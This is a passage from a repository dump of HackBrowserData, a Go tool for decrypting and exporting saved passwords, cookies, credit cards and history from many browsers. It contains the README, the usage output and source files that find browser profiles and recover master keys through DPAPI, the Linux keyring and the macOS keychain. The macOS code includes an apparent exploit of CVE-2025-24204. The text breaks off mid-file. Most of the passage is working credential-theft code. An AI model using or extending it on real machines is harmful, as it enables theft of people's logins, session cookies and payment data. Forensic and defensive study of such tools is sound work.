If you have any questions or need further guidance, please feel free to ask in the issue or PR, or [reach out to the maintainers](mailto:i@moond4rk.com). We will reply to you as soon as possible.
Thank you for your contribution!
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
<div align="center">
<img src="LOGO.png" alt="hack-browser-data logo" width="440px" />
</div>
# HackBrowserData
[](https://github.com/moonD4rk/HackBrowserData/actions/workflows/lint.yml) [](https://github.com/moonD4rk/HackBrowserData/actions/workflows/build.yml) [](https://github.com/moonD4rk/HackBrowserData/actions/workflows/release.yml) [](https://github.com/moonD4rk/HackBrowserData/actions/workflows/test.yml) [](https://coveralls.io/github/moonD4rk/HackBrowserData)
`HackBrowserData` is a command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.
> Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility.
## Recent Updates
### Firefox 144+ Support
HackBrowserData now supports decryption of saved passwords in Firefox 144 and later versions.
Starting from Firefox 144, Mozilla migrated password encryption from 3DES to AES-256-CBC to enhance security. HackBrowserData has been updated accordingly and remains fully compatible with the latest Firefox encryption scheme.
For more details:
- [Firefox 144.0 Release Notes](https://www.firefox.com/en-US/firefox/144.0/releasenotes/)
- [How Firefox securely saves passwords](https://support.mozilla.org/en-US/kb/how-firefox-securely-saves-passwords)
## Supported Browser
### Windows
| Browser | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| 360 Speed | ✅ | ✅ | ✅ | ✅ |
| QQ | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Yandex | ✅ | ✅ | ✅ | ✅ |
| CocCoc | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| Internet Explorer | ❌ | ❌ | ❌ | ❌ |
### MacOS
Based on Apple's security policy, some browsers **require a current user password** to decrypt.
| Browser | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| CocCoc | ✅ | ✅ | ✅ | ✅ |
| Yandex | ✅ | ✅ | ✅ | ✅ |
| Arc | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
| Safari | ❌ | ❌ | ❌ | ❌ |
### Linux
| Browser | Password | Cookie | Bookmark | History |
|:-------------------|:--------:|:------:|:--------:|:-------:|
| Google Chrome | ✅ | ✅ | ✅ | ✅ |
| Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ | ✅ |
| Microsoft Edge Dev | ✅ | ✅ | ✅ | ✅ |
| Brave | ✅ | ✅ | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ | ✅ |
| Vivaldi | ✅ | ✅ | ✅ | ✅ |
| Firefox | ✅ | ✅ | ✅ | ✅ |
| Firefox Beta | ✅ | ✅ | ✅ | ✅ |
| Firefox Dev | ✅ | ✅ | ✅ | ✅ |
| Firefox ESR | ✅ | ✅ | ✅ | ✅ |
| Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
## Getting started
### Install
Installation of `HackBrowserData` is dead-simple, just download [the release for your system](https://github.com/moonD4rk/HackBrowserData/releases) and run the binary.
> In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.
### Building from source
only support `go 1.20+` with go generics.
```bash
$ git clone https://github.com/moonD4rk/HackBrowserData
$ cd HackBrowserData/cmd/hack-browser-data
$ go build
```
### Cross compile
Here's an example of use `macOS` building for `Windows` and `Linux`
#### For Windows
```shell
GOOS=windows GOARCH=amd64 go build
```
#### For Linux
````shell
GOOS=linux GOARCH=amd64 go build
````
### Run
You can double-click to run, or use command line.
```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -h
NAME:
hack-browser-data - Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser
USAGE:
[hack-browser-data -b chrome -f json --dir results --zip]
Export all browsing data (passwords/cookies/history/bookmarks) from browser
Github Link: https://github.com/moonD4rk/HackBrowserData
VERSION:
0.4.6
GLOBAL OPTIONS:
--verbose, --vv verbose (default: false)
--compress, --zip compress result to zip (default: false)
--browser value, -b value available browsers: all|360|brave|chrome|chrome-beta|chromium|coccoc|dc|edge|firefox|opera|opera-gx|qq|sogou|vivaldi|yandex (default: "all")
--results-dir value, --dir value export dir (default: "results")
--format value, -f value output format: csv|json (default: "csv")
--profile-path value, -p value custom profile dir path, get with chrome://version
--full-export, --full is export full browsing data (default: true)
--help, -h show help
--version, -v print the version
```
For example, the following is an automatic scan of the browser on the current computer, outputting the decryption results in `JSON` format and compressing as `zip`.
```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -b all -f json --dir results --zip
PS C:\Users\moond4rk\Desktop> ls -l .\results\
Directory: C:\Users\moond4rk\Desktop\results
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/15/2024 10:55 PM 44982 results.zip
```
### Run with custom browser profile folder
If you want to export data from a custom browser profile folder, you can use the `-p` parameter to specify the path of the browser profile folder. PS: use double quotes to wrap the path.
```powershell
PS C:\Users\moond4rk\Desktop> .\hack-browser-data.exe -b chrome -p "C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default"
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_creditcard.csv success
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_bookmark.csv success
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_cookie.csv success
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_history.csv success
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_download.csv success
[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_password.csv success
```
## Contributing
We welcome and appreciate any contributions made by the community (GitHub issues/pull requests, email feedback, etc.).
Please see the [Contribution Guide](CONTRIBUTING.md) before contributing.
## Contributors

## Stargazers over time
[](https://github.com/moond4rk/HackBrowserData)
## 404StarLink 2.0 - Galaxy
`HackBrowserData` is a part of 404Team [StarLink-Galaxy](https://github.com/knownsec/404StarLink2.0-Galaxy), if you have any questions about `HackBrowserData` or want to find a partner to communicate with,please refer to the [Starlink group](https://github.com/knownsec/404StarLink2.0-Galaxy#community).
<a href="https://github.com/knownsec/404StarLink2.0-Galaxy" target="_blank"><img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" align="middle"/></a>
## JetBrains OS licenses
``HackBrowserData`` had been being developed with `GoLand` IDE under the **free JetBrains Open Source license(s)** granted by JetBrains s.r.o., hence I would like to express my thanks here.
<a href="https://www.jetbrains.com/?from=HackBrowserData" target="_blank"><img src="https://raw.githubusercontent.com/moonD4rk/staticfiles/master/picture/jetbrains-variant-4.png" width="256" align="middle"/></a>
================================================
FILE: browser/browser.go
================================================
package browser
import (
"path/filepath"
"sort"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/chromium"
"github.com/moond4rk/hackbrowserdata/browser/firefox"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Browser interface {
// Name is browser's name
Name() string
// BrowsingData returns all browsing data in the browser.
BrowsingData(isFullExport bool) (*browserdata.BrowserData, error)
}
// PickBrowsers returns a list of browsers that match the name and profile.
func PickBrowsers(name, profile string) ([]Browser, error) {
var browsers []Browser
clist := pickChromium(name, profile)
for _, b := range clist {
if b != nil {
browsers = append(browsers, b)
}
}
flist := pickFirefox(name, profile)
for _, b := range flist {
if b != nil {
browsers = append(browsers, b)
}
}
return browsers, nil
}
func pickChromium(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
for _, v := range chromiumList {
if !fileutil.IsDirExists(filepath.Clean(v.profilePath)) {
log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
continue
}
multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes)
if err != nil {
log.Errorf("new chromium error %v", err)
continue
}
for _, b := range multiChromium {
log.Warnf("find browser success, browser %s", b.Name())
browsers = append(browsers, b)
}
}
}
if c, ok := chromiumList[name]; ok {
if profile == "" {
profile = c.profilePath
}
if !fileutil.IsDirExists(filepath.Clean(profile)) {
log.Errorf("find browser failed, profile folder does not exist, browser %s", c.name)
}
chromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes)
if err != nil {
log.Errorf("new chromium error %v", err)
}
for _, chrome := range chromes {
log.Warnf("find browser success, browser %s", chrome.Name())
browsers = append(browsers, chrome)
}
}
return browsers
}
func pickFirefox(name, profile string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
for _, v := range firefoxList {
if profile == "" {
profile = v.profilePath
} else {
profile = fileutil.ParentDir(profile)
}
if !fileutil.IsDirExists(filepath.Clean(profile)) {
log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name)
continue
}
if multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil {
for _, b := range multiFirefox {
log.Warnf("find browser success, browser %s", b.Name())
browsers = append(browsers, b)
}
} else {
log.Errorf("new firefox error %v", err)
}
}
return browsers
}
return nil
}
func ListBrowsers() []string {
var l []string
l = append(l, typeutil.Keys(chromiumList)...)
l = append(l, typeutil.Keys(firefoxList)...)
sort.Strings(l)
return l
}
func Names() string {
return strings.Join(ListBrowsers(), "|")
}
================================================
FILE: browser/browser_darwin.go
================================================
//go:build darwin
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"opera-gx": {
name: operaGXName,
profilePath: operaGXProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"coccoc": {
name: coccocName,
storage: coccocStorageName,
profilePath: coccocProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"yandex": {
name: yandexName,
storage: yandexStorageName,
profilePath: yandexProfilePath,
dataTypes: types.DefaultYandexTypes,
},
"arc": {
name: arcName,
profilePath: arcProfilePath,
storage: arcStorageName,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/"
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/"
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/"
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/"
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
arcProfilePath = homeDir + "/Library/Application Support/Arc/User Data/Default"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"
chromiumStorageName = "Chromium"
edgeStorageName = "Microsoft Edge"
braveStorageName = "Brave"
operaStorageName = "Opera"
vivaldiStorageName = "Vivaldi"
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
arcStorageName = "Arc"
)
================================================
FILE: browser/browser_linux.go
================================================
//go:build linux
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
storage: chromeStorageName,
profilePath: chromeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
storage: edgeStorageName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
storage: chromiumStorageName,
profilePath: chromiumProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
storage: chromeBetaStorageName,
profilePath: chromeBetaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
storage: operaStorageName,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
storage: vivaldiStorageName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
storage: braveStorageName,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
firefoxProfilePath = homeDir + "/.mozilla/firefox/"
chromeProfilePath = homeDir + "/.config/google-chrome/Default/"
chromiumProfilePath = homeDir + "/.config/chromium/Default/"
edgeProfilePath = homeDir + "/.config/microsoft-edge/Default/"
braveProfilePath = homeDir + "/.config/BraveSoftware/Brave-Browser/Default/"
chromeBetaProfilePath = homeDir + "/.config/google-chrome-beta/Default/"
operaProfilePath = homeDir + "/.config/opera/Default/"
vivaldiProfilePath = homeDir + "/.config/vivaldi/Default/"
)
const (
chromeStorageName = "Chrome Safe Storage"
chromiumStorageName = "Chromium Safe Storage"
edgeStorageName = "Chromium Safe Storage"
braveStorageName = "Brave Safe Storage"
chromeBetaStorageName = "Chrome Safe Storage"
operaStorageName = "Chromium Safe Storage"
vivaldiStorageName = "Chrome Safe Storage"
)
================================================
FILE: browser/browser_windows.go
================================================
//go:build windows
package browser
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var (
chromiumList = map[string]struct {
name string
profilePath string
storage string
dataTypes []types.DataType
}{
"chrome": {
name: chromeName,
profilePath: chromeUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"edge": {
name: edgeName,
profilePath: edgeProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"chromium": {
name: chromiumName,
profilePath: chromiumUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"chrome-beta": {
name: chromeBetaName,
profilePath: chromeBetaUserDataPath,
dataTypes: types.DefaultChromiumTypes,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"opera-gx": {
name: operaGXName,
profilePath: operaGXProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"vivaldi": {
name: vivaldiName,
profilePath: vivaldiProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"coccoc": {
name: coccocName,
profilePath: coccocProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"yandex": {
name: yandexName,
profilePath: yandexProfilePath,
dataTypes: types.DefaultYandexTypes,
},
"360": {
name: speed360Name,
profilePath: speed360ProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"qq": {
name: qqBrowserName,
profilePath: qqBrowserProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"dc": {
name: dcBrowserName,
profilePath: dcBrowserProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
"sogou": {
name: sogouName,
profilePath: sogouProfilePath,
dataTypes: types.DefaultChromiumTypes,
},
}
firefoxList = map[string]struct {
name string
storage string
profilePath string
dataTypes []types.DataType
}{
"firefox": {
name: firefoxName,
profilePath: firefoxProfilePath,
dataTypes: types.DefaultFirefoxTypes,
},
}
)
var (
chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/"
chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/"
chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/"
edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/"
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/"
dcBrowserProfilePath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/"
sogouProfilePath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/"
firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
)
================================================
FILE: browser/chromium/chromium.go
================================================
package chromium
import (
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Chromium struct {
name string
storage string
profilePath string
masterKey []byte
dataTypes []types.DataType
Paths map[types.DataType]string
}
// New create instance of Chromium browser, fill item's path if item is existed.
func New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) {
c := &Chromium{
name: name,
storage: storage,
profilePath: profilePath,
dataTypes: dataTypes,
}
multiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes)
if err != nil {
return nil, err
}
chromiumList := make([]*Chromium, 0, len(multiDataTypePaths))
for user, itemPaths := range multiDataTypePaths {
chromiumList = append(chromiumList, &Chromium{
name: fileutil.BrowserName(name, user),
dataTypes: typeutil.Keys(itemPaths),
Paths: itemPaths,
storage: storage,
})
}
return chromiumList, nil
}
func (c *Chromium) Name() string {
return c.name
}
func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
// delete chromiumKey from dataTypes, doesn't need to export key
var dataTypes []types.DataType
for _, dt := range c.dataTypes {
if dt != types.ChromiumKey {
dataTypes = append(dataTypes, dt)
}
}
if !isFullExport {
dataTypes = types.FilterSensitiveItems(c.dataTypes)
}
data := browserdata.New(dataTypes)
if err := c.copyItemToLocal(); err != nil {
return nil, err
}
masterKey, err := c.GetMasterKey()
if err != nil {
return nil, err
}
c.masterKey = masterKey
if err := data.Recovery(c.masterKey); err != nil {
return nil, err
}
return data, nil
}
func (c *Chromium) copyItemToLocal() error {
for i, path := range c.Paths {
filename := i.TempFilename()
var err error
switch {
case fileutil.IsDirExists(path):
if i == types.ChromiumLocalStorage {
err = fileutil.CopyDir(path, filename, "lock")
}
if i == types.ChromiumSessionStorage {
err = fileutil.CopyDir(path, filename, "lock")
}
default:
err = fileutil.CopyFile(path, filename)
}
if err != nil {
log.Errorf("copy item to local, path %s, filename %s err %v", path, filename, err)
continue
}
}
return nil
}
// userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair]
func (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) {
multiItemPaths := make(map[string]map[types.DataType]string)
parentDir := fileutil.ParentDir(profilePath)
err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths))
if err != nil {
return nil, err
}
var keyPath string
var dir string
for userDir, profiles := range multiItemPaths {
for _, profile := range profiles {
if strings.HasSuffix(profile, types.ChromiumKey.Filename()) {
keyPath = profile
dir = userDir
break
}
}
}
t := make(map[string]map[types.DataType]string)
for userDir, v := range multiItemPaths {
if userDir == dir {
continue
}
t[userDir] = v
t[userDir][types.ChromiumKey] = keyPath
fillLocalStoragePath(t[userDir], types.ChromiumLocalStorage)
}
return t, nil
}
// chromiumWalkFunc return a filepath.WalkFunc to find item's path
func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc {
return func(path string, info fs.FileInfo, err error) error {
if err != nil {
if os.IsPermission(err) {
log.Warnf("skipping walk chromium path permission error, path %s, err %v", path, err)
return nil
}
return err
}
for _, v := range items {
if info.Name() != v.Filename() {
continue
}
if strings.Contains(path, "System Profile") {
continue
}
if strings.Contains(path, "Snapshot") {
continue
}
if strings.Contains(path, "def") {
continue
}
profileFolder := fileutil.ParentBaseDir(path)
if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
}
if _, exist := multiItemPaths[profileFolder]; exist {
multiItemPaths[profileFolder][v] = path
} else {
multiItemPaths[profileFolder] = map[types.DataType]string{v: path}
}
}
return nil
}
}
func fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) {
if p, ok := itemPaths[types.ChromiumHistory]; ok {
lsp := filepath.Join(filepath.Dir(p), storage.Filename())
if fileutil.IsDirExists(lsp) {
itemPaths[types.ChromiumLocalStorage] = lsp
}
}
}
================================================
FILE: browser/chromium/chromium_darwin.go
================================================
//go:build darwin
package chromium
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os"
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
var (
errWrongSecurityCommand = errors.New("wrong security command")
errCouldNotFindInKeychain = errors.New("could not be find in keychain")
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
// don't need chromium key file for macOS
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := gcoredump.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
return key, nil
}
} else {
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
}
// Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
var (
stdout, stderr bytes.Buffer
)
cmd := exec.Command("security", "find-generic-password", "-wa", strings.TrimSpace(c.storage)) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return nil, errCouldNotFindInKeychain
}
return nil, errors.New(stderr.String())
}
return c.parseSecret(stdout.Bytes())
}
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
secret = bytes.TrimSpace(secret)
if len(secret) == 0 {
return nil, errWrongSecurityCommand
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
if key == nil {
return nil, errWrongSecurityCommand
}
c.masterKey = key
log.Debugf("get master key success, browser %s", c.name)
return key, nil
}
================================================
FILE: browser/chromium/chromium_linux.go
================================================
//go:build linux
package chromium
import (
"crypto/sha1"
"fmt"
"os"
"github.com/godbus/dbus/v5"
keyring "github.com/ppacher/go-dbus-keyring"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
)
func (c *Chromium) GetMasterKey() ([]byte, error) {
// what is d-bus @https://dbus.freedesktop.org/
// don't need chromium key file for Linux
defer os.Remove(types.ChromiumKey.TempFilename())
conn, err := dbus.SessionBus()
if err != nil {
return nil, err
}
svc, err := keyring.GetSecretService(conn)
if err != nil {
return nil, err
}
session, err := svc.OpenSession()
if err != nil {
return nil, err
}
defer func() {
if err := session.Close(); err != nil {
log.Errorf("close dbus session error: %v", err)
}
}()
collections, err := svc.GetAllCollections()
if err != nil {
return nil, err
}
var secret []byte
for _, col := range collections {
items, err := col.GetAllItems()
if err != nil {
return nil, err
}
for _, i := range items {
label, err := i.GetLabel()
if err != nil {
log.Warnf("get label from dbus: %v", err)
continue
}
if label == c.storage {
se, err := i.GetSecret(session.Path())
if err != nil {
return nil, fmt.Errorf("get storage from dbus: %w", err)
}
secret = se.Value
}
}
}
if len(secret) == 0 {
// set default secret @https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
secret = []byte("peanuts")
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
key := crypto.PBKDF2Key(secret, salt, 1, 16, sha1.New)
c.masterKey = key
log.Debugf("get master key success, browser %s", c.name)
return key, nil
}
================================================
FILE: browser/chromium/chromium_windows.go
================================================
//go:build windows
package chromium
import (
"encoding/base64"
"errors"
"os"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
var errDecodeMasterKeyFailed = errors.New("decode master key failed")
func (c *Chromium) GetMasterKey() ([]byte, error) {
b, err := fileutil.ReadFile(types.ChromiumKey.TempFilename())
if err != nil {
return nil, err
}
defer os.Remove(types.ChromiumKey.TempFilename())
encryptedKey := gjson.Get(b, "os_crypt.encrypted_key")
if !encryptedKey.Exists() {
return nil, nil
}
key, err := base64.StdEncoding.DecodeString(encryptedKey.String())
if err != nil {
return nil, errDecodeMasterKeyFailed
}
c.masterKey, err = crypto.DecryptWithDPAPI(key[5:])
if err != nil {
log.Errorf("decrypt master key failed, err %v", err)
return nil, err
}
log.Debugf("get master key success, browser %s", c.name)
return c.masterKey, nil
}
================================================
FILE: browser/consts.go
================================================
package browser
import (
"os"
)
// home dir path for all platforms
var homeDir, _ = os.UserHomeDir()
const (
chromeName = "Chrome"
chromeBetaName = "Chrome Beta"
chromiumName = "Chromium"
edgeName = "Microsoft Edge"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
